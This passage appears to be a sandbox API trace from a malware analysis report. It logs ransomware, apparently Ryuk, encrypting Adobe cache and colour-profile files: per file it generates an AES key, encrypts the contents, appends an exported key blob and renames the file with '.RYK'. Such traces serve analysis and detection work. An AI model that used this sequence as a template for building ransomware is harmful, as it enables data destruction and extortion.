	[0245.452] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst", dwFileAttributes=0x80) returned 1
	[0245.458] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4
	[0245.458] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x90ff978 | out: lpFileSize=0x90ff978*=53188) returned 1
	[0245.458] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x90ff988 | out: lpFileSize=0x90ff988*=53188) returned 1
	[0245.458] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xcea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.458] ReadFile (in: hFile=0x3c4, lpBuffer=0x90ff9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90ff940, lpOverlapped=0x0 | out: lpBuffer=0x90ff9d0*, lpNumberOfBytesRead=0x90ff940*=0x19, lpOverlapped=0x0) returned 1
	[0245.465] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.466] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x90ff958 | out: phKey=0x90ff958*=0x3f7d20) returned 1
	[0245.466] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.466] ReadFile (in: hFile=0x3c4, lpBuffer=0x3080000, nNumberOfBytesToRead=0xcfc4, lpNumberOfBytesRead=0x90ff964, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesRead=0x90ff964*=0xcfc4, lpOverlapped=0x0) returned 1
	[0245.513] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x90ff960*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x90ff960*=0xf4250) returned 1
	[0245.513] CryptEncrypt (in: hKey=0x3f7d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3080000*, pdwDataLen=0x90ff968*=0xcfc4, dwBufLen=0xf4250 | out: pbData=0x3080000*, pdwDataLen=0x90ff968*=0xcfd0) returned 1
	[0245.514] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.514] WriteFile (in: hFile=0x3c4, lpBuffer=0x3080000*, nNumberOfBytesToWrite=0xcfd0, lpNumberOfBytesWritten=0x90ff964, lpOverlapped=0x0 | out: lpBuffer=0x3080000*, lpNumberOfBytesWritten=0x90ff964*=0xcfd0, lpOverlapped=0x0) returned 1
	[0245.515] WriteFile (in: hFile=0x3c4, lpBuffer=0x90ff990*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x90ff970, lpOverlapped=0x0 | out: lpBuffer=0x90ff990*, lpNumberOfBytesWritten=0x90ff970*=0x6, lpOverlapped=0x0) returned 1
	[0245.515] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x90ff980 | out: pbData=0x0*, pdwDataLen=0x90ff980*=0x10c) returned 1
	[0245.515] CryptExportKey (in: hKey=0x3f7d20, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x90ff9f0, pdwDataLen=0x90ff980 | out: pbData=0x90ff9f0*, pdwDataLen=0x90ff980*=0x10c) returned 1
	[0245.515] WriteFile (in: hFile=0x3c4, lpBuffer=0x90ff9f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x90ff970, lpOverlapped=0x0 | out: lpBuffer=0x90ff9f0*, lpNumberOfBytesWritten=0x90ff970*=0x10c, lpOverlapped=0x0) returned 1
	[0245.515] CloseHandle (hObject=0x3c4) returned 1
	[0245.626] CryptDestroyKey (hKey=0x3f7d20) returned 1
	[0245.828] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\Cache\\AcroFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\cache\\acrofnt10.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2557
	os_tid = 0x2dc8

	[0245.465] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents", dwFileAttributes=0x80) returned 1
	[0245.507] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0245.509] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x92efb18 | out: lpFileSize=0x92efb18*=5120) returned 1
	[0245.509] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x92efb28 | out: lpFileSize=0x92efb28*=5120) returned 1
	[0245.509] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x12de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.509] ReadFile (in: hFile=0x3d0, lpBuffer=0x92efb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92efae0, lpOverlapped=0x0 | out: lpBuffer=0x92efb70*, lpNumberOfBytesRead=0x92efae0*=0x19, lpOverlapped=0x0) returned 1
	[0245.518] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.518] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x92efaf8 | out: phKey=0x92efaf8*=0x3f7e70) returned 1
	[0245.518] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.518] ReadFile (in: hFile=0x3d0, lpBuffer=0x3180000, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x92efb04, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x92efb04*=0x1400, lpOverlapped=0x0) returned 1
	[0245.635] CryptEncrypt (in: hKey=0x3f7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x92efb00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x92efb00*=0xf4250) returned 1
	[0245.635] CryptEncrypt (in: hKey=0x3f7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x92efb08*=0x1400, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x92efb08*=0x1410) returned 1
	[0245.635] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.635] WriteFile (in: hFile=0x3d0, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x92efb04, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x92efb04*=0x1410, lpOverlapped=0x0) returned 1
	[0245.635] WriteFile (in: hFile=0x3d0, lpBuffer=0x92efb30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x92efb10, lpOverlapped=0x0 | out: lpBuffer=0x92efb30*, lpNumberOfBytesWritten=0x92efb10*=0x6, lpOverlapped=0x0) returned 1
	[0245.635] CryptExportKey (in: hKey=0x3f7e70, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x92efb20 | out: pbData=0x0*, pdwDataLen=0x92efb20*=0x10c) returned 1
	[0245.635] CryptExportKey (in: hKey=0x3f7e70, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x92efb90, pdwDataLen=0x92efb20 | out: pbData=0x92efb90*, pdwDataLen=0x92efb20*=0x10c) returned 1
	[0245.635] WriteFile (in: hFile=0x3d0, lpBuffer=0x92efb90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x92efb10, lpOverlapped=0x0 | out: lpBuffer=0x92efb90*, lpNumberOfBytesWritten=0x92efb10*=0x10c, lpOverlapped=0x0) returned 1
	[0245.636] CloseHandle (hObject=0x3d0) returned 1
	[0245.708] CryptDestroyKey (hKey=0x3f7e70) returned 1
	[0245.708] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\shareddataevents.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2558
	os_tid = 0x2dcc

	[0245.471] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin", dwFileAttributes=0x80) returned 1
	[0245.472] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0245.472] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x945f798 | out: lpFileSize=0x945f798*=77477) returned 1
	[0245.473] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x945f7a8 | out: lpFileSize=0x945f7a8*=77477) returned 1
	[0245.473] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x12d83, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.473] ReadFile (in: hFile=0x3d0, lpBuffer=0x945f7f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x945f760, lpOverlapped=0x0 | out: lpBuffer=0x945f7f0*, lpNumberOfBytesRead=0x945f760*=0x19, lpOverlapped=0x0) returned 1
	[0245.476] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.476] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x945f778 | out: phKey=0x945f778*=0x3f7e00) returned 1
	[0245.476] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.476] ReadFile (in: hFile=0x3d0, lpBuffer=0x3280000, nNumberOfBytesToRead=0x12ea5, lpNumberOfBytesRead=0x945f784, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesRead=0x945f784*=0x12ea5, lpOverlapped=0x0) returned 1
	[0245.480] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x945f780*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x945f780*=0xf4250) returned 1
	[0245.480] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3280000*, pdwDataLen=0x945f788*=0x12ea5, dwBufLen=0xf4250 | out: pbData=0x3280000*, pdwDataLen=0x945f788*=0x12eb0) returned 1
	[0245.480] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.480] WriteFile (in: hFile=0x3d0, lpBuffer=0x3280000*, nNumberOfBytesToWrite=0x12eb0, lpNumberOfBytesWritten=0x945f784, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesWritten=0x945f784*=0x12eb0, lpOverlapped=0x0) returned 1
	[0245.481] WriteFile (in: hFile=0x3d0, lpBuffer=0x945f7b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x945f790, lpOverlapped=0x0 | out: lpBuffer=0x945f7b0*, lpNumberOfBytesWritten=0x945f790*=0x6, lpOverlapped=0x0) returned 1
	[0245.481] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x945f7a0 | out: pbData=0x0*, pdwDataLen=0x945f7a0*=0x10c) returned 1
	[0245.481] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x945f810, pdwDataLen=0x945f7a0 | out: pbData=0x945f810*, pdwDataLen=0x945f7a0*=0x10c) returned 1
	[0245.481] WriteFile (in: hFile=0x3d0, lpBuffer=0x945f810*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x945f790, lpOverlapped=0x0 | out: lpBuffer=0x945f810*, lpNumberOfBytesWritten=0x945f790*=0x10c, lpOverlapped=0x0) returned 1
	[0245.482] CloseHandle (hObject=0x3d0) returned 1
	[0245.911] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0245.911] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2559
	os_tid = 0x2dd0

	[0245.629] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst", dwFileAttributes=0x80) returned 1
	[0245.631] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0245.631] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x95cf638 | out: lpFileSize=0x95cf638*=1180) returned 1
	[0245.631] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x95cf648 | out: lpFileSize=0x95cf648*=1180) returned 1
	[0245.631] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x37a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.631] ReadFile (in: hFile=0x3d4, lpBuffer=0x95cf690, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x95cf600, lpOverlapped=0x0 | out: lpBuffer=0x95cf690*, lpNumberOfBytesRead=0x95cf600*=0x19, lpOverlapped=0x0) returned 1
	[0245.768] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.768] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x95cf618 | out: phKey=0x95cf618*=0x3f7b60) returned 1
	[0245.768] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.768] ReadFile (in: hFile=0x3d4, lpBuffer=0x3380000, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x95cf624, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x95cf624*=0x49c, lpOverlapped=0x0) returned 1
	[0245.769] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x95cf620*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x95cf620*=0xf4250) returned 1
	[0245.769] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x95cf628*=0x49c, dwBufLen=0xf4250 | out: pbData=0x3380000*, pdwDataLen=0x95cf628*=0x4a0) returned 1
	[0245.769] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.769] WriteFile (in: hFile=0x3d4, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x95cf624, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x95cf624*=0x4a0, lpOverlapped=0x0) returned 1
	[0245.769] WriteFile (in: hFile=0x3d4, lpBuffer=0x95cf650*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x95cf630, lpOverlapped=0x0 | out: lpBuffer=0x95cf650*, lpNumberOfBytesWritten=0x95cf630*=0x6, lpOverlapped=0x0) returned 1
	[0245.769] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x95cf640 | out: pbData=0x0*, pdwDataLen=0x95cf640*=0x10c) returned 1
	[0245.769] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x95cf6b0, pdwDataLen=0x95cf640 | out: pbData=0x95cf6b0*, pdwDataLen=0x95cf640*=0x10c) returned 1
	[0245.769] WriteFile (in: hFile=0x3d4, lpBuffer=0x95cf6b0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x95cf630, lpOverlapped=0x0 | out: lpBuffer=0x95cf6b0*, lpNumberOfBytesWritten=0x95cf630*=0x10c, lpOverlapped=0x0) returned 1
	[0245.769] CloseHandle (hObject=0x3d4) returned 1
	[0245.918] CryptDestroyKey (hKey=0x3f7b60) returned 1
	[0245.919] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2560
	os_tid = 0x2dd4

	[0245.765] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc", dwFileAttributes=0x80) returned 1
	[0245.765] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0245.765] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x971fa38 | out: lpFileSize=0x971fa38*=66208) returned 1
	[0245.765] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x971fa48 | out: lpFileSize=0x971fa48*=66208) returned 1
	[0245.765] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1017e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.766] ReadFile (in: hFile=0x3d0, lpBuffer=0x971fa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x971fa00, lpOverlapped=0x0 | out: lpBuffer=0x971fa90*, lpNumberOfBytesRead=0x971fa00*=0x19, lpOverlapped=0x0) returned 1
	[0245.937] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.937] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x971fa18 | out: phKey=0x971fa18*=0x3f7ee0) returned 1
	[0245.937] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.937] ReadFile (in: hFile=0x3d0, lpBuffer=0x3480000, nNumberOfBytesToRead=0x102a0, lpNumberOfBytesRead=0x971fa24, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x971fa24*=0x102a0, lpOverlapped=0x0) returned 1
	[0245.995] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x971fa20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x971fa20*=0xf4250) returned 1
	[0245.995] CryptEncrypt (in: hKey=0x3f7ee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x971fa28*=0x102a0, dwBufLen=0xf4250 | out: pbData=0x3480000*, pdwDataLen=0x971fa28*=0x102b0) returned 1
	[0245.996] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.996] WriteFile (in: hFile=0x3d0, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0x102b0, lpNumberOfBytesWritten=0x971fa24, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x971fa24*=0x102b0, lpOverlapped=0x0) returned 1
	[0245.996] WriteFile (in: hFile=0x3d0, lpBuffer=0x971fa50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x971fa30, lpOverlapped=0x0 | out: lpBuffer=0x971fa50*, lpNumberOfBytesWritten=0x971fa30*=0x6, lpOverlapped=0x0) returned 1
	[0245.997] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x971fa40 | out: pbData=0x0*, pdwDataLen=0x971fa40*=0x10c) returned 1
	[0245.997] CryptExportKey (in: hKey=0x3f7ee0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x971fab0, pdwDataLen=0x971fa40 | out: pbData=0x971fab0*, pdwDataLen=0x971fa40*=0x10c) returned 1
	[0245.997] WriteFile (in: hFile=0x3d0, lpBuffer=0x971fab0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x971fa30, lpOverlapped=0x0 | out: lpBuffer=0x971fab0*, lpNumberOfBytesWritten=0x971fa30*=0x10c, lpOverlapped=0x0) returned 1
	[0245.997] CloseHandle (hObject=0x3d0) returned 1
	[0246.031] CryptDestroyKey (hKey=0x3f7ee0) returned 1
	[0246.031] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wscRGB.icc.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wscrgb.icc.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2561
	os_tid = 0x2dd8

	[0245.810] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc", dwFileAttributes=0x80) returned 1
	[0245.811] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\wsRGB.icc" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\profiles\\wsrgb.icc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0245.811] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x982f5f8 | out: lpFileSize=0x982f5f8*=2676) returned 1
	[0245.811] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x982f608 | out: lpFileSize=0x982f608*=2676) returned 1
	[0245.811] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x952, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.811] ReadFile (in: hFile=0x3dc, lpBuffer=0x982f650, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x982f5c0, lpOverlapped=0x0 | out: lpBuffer=0x982f650*, lpNumberOfBytesRead=0x982f5c0*=0x19, lpOverlapped=0x0) returned 1
	[0245.948] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.948] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x982f5d8 | out: phKey=0x982f5d8*=0x3f7b60) returned 1
	[0245.948] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.948] ReadFile (in: hFile=0x3dc, lpBuffer=0x3580000, nNumberOfBytesToRead=0xa74, lpNumberOfBytesRead=0x982f5e4, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x982f5e4*=0xa74, lpOverlapped=0x0) returned 1
	[0245.949] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x982f5e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x982f5e0*=0xf4250) returned 1
	[0245.949] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3580000*, pdwDataLen=0x982f5e8*=0xa74, dwBufLen=0xf4250 | out: pbData=0x3580000*, pdwDataLen=0x982f5e8*=0xa80) returned 1
	[0245.949] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
